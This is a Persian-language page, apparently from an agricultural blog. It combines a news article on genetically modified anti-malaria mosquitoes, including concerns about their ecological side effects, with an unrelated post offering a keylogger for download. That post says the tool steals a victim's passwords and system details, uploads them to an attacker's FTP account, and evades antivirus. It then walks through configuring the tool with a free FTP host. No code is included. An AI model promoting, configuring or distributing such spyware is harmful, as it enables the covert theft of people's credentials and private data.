ايتكا: با توجه به ديدگاه منفى موجود در مورد محصولات كشاورزى تغييريافته ژنتيكى (تراريخت) و مخالفت گروه هاى طرفدار محيط زيست با ايجاد تغييرات ژنتيكى در گياهان و موجودات زنده، دانشمندان حاضر در طرح جديد اميدوارند بتوانند اطمينان افكار عمومى را در مورد مفيد و بى خطر بودن حشرات دست كارى شده ژنتيكى جلب كنند. «آنتونى جيمز» استاد ژنتيك مولكولى و ميكروبيولوژى دانشگاه كاليفرنيا در آمريكا اعلام كرد كه هم اكنون روند توليد و آزمايش حشرات دست كارى شده ژنتيكى به مرحله حساسى رسيده است. اين محقق و همكارانش در آزمايشگاه موفق به توليد برخى انواع تغييريافته پشه آنوفل شده اند كه نمى تواند ميزبان انگل مالاريا باشد و هم اكنون براى انجام آزمايش در خارج از محيط آزمايشگاه آماده است. به گفته «فرد گولد» از دانشگاه ايالتى كاروليناى شمالى، با وجود آنكه دانشمندان همواره براى مبارزه با بيمارى هايى كه ناقل آنها حشرات است تلاش كرده اند، اما در مبارزه خود ناموفق بوده اند. وى افزود: به طور مثال در اواخر دهه چهل ميلادى حشره شناسان مطمئن بودند كه سم «د.د.ت» تمامى مشكلات آفات كشاورزى را حل خواهد كرد، اما با گذشت زمان مشخص شد استفاده از اين ماده شيميايى بر بسيارى از حيوانات آثار سويى باقى گذاشته و با ضعيف كردن پوسته تخم برخى پرندگان، نسل آنها را تا مرز انقراض پيش برده است. همچنين در دهه ۱۹۶۰ كسى تصور نمى كرد استفاده از جانوران غيربومى شكارچى حشراتى كه آفت محصولات كشاورزى بودند، سبب انقراض نسل گونه هاى جانورى نادر در اين مناطق شود. منتقدان طرح آزادسازى حشرات دست كارى شده ژنتيكى در طبيعت عقيده دارند آثار جانبى وجود اين حشرات در طبيعت بايد توسط محققان مورد مطالعه قرار گيرد. به گفته كارشناسان، با توجه به اينكه بسيارى از اين حشرات به منظور رهاسازى در كشورهاى جهان سوم طراحى شده اند، بايد فهرست كاملى از نگرانى هاى موجود در زمينه خطرات احتمالى آنها تهيه شده و آن نگرانى ها قبل از ورود حشرات به طبيعت مورد بررسى قرار بگيرند.

ورژن اصلی tak Log آماده دانلود است
این کیلاگر شخصات سیستم فرد مقدار هاردیست و رم و تموم پسورد های سیستم فرد رو
برای شما در FTP زخیره می کنه در ضمن آنتی ویروس هم نمی گیرتش

این کیلاگر پسورد ها و مشخصات سیستم قربانی رو به صورت فایل TXT در FTP شما زخیره می کند برای استفاده از این کیلاگر ابتدا یک یوزر در سایت http://100free.com درست کرده و مشخصات را به صورت زیر به کیلاگر بدهید

اگر برای مثال اسم یوزری که در http://100free.com درست کردید k2-4u باشد باید به صورت زیر پر کنید
Host : در ای محل نام هاست را بدهید بدون //:ftp یا .ftp مثال : k2-4u.100free.com
UserName : در این محل نام کاربری دا بدهید مثال: k2-4u
Password : در این محل رمز عبور را وارد کنید
سپس تنضیمات مورد نظر را انجام داده و کلید Build را بزنید

دانلود کیلاگر

آلبوم تصاویر گلهای زینتی

نشریات رایگان کشاورزی
آفتابگردان داشته باش
اخرین اخبار
استخدام
فواید کلم
بيانيه سازمان خواربار جهاني (FAO) در زمينه بيوتكنولوژی (قسمت دوم)
بيانيه سازمان خواربار جهاني (FAO) در زمينه بيوتكنولوژي(قسمت اول)
رهاسازى حشرات تغييريافته ژنتيكى در طبيعت
هکر!!! دنبالش نگرد همینه!!! کیلاگر( kilager )
گیاهان زینتی
بیوتکنولوژی
آموزش کامپیوتر
گیاه گلخانه ای
برنج پر ماجرا
عکسهای دیدنی!!!
محرم! دانلود چند تا مداحی
توليد پلاستيك از گياهان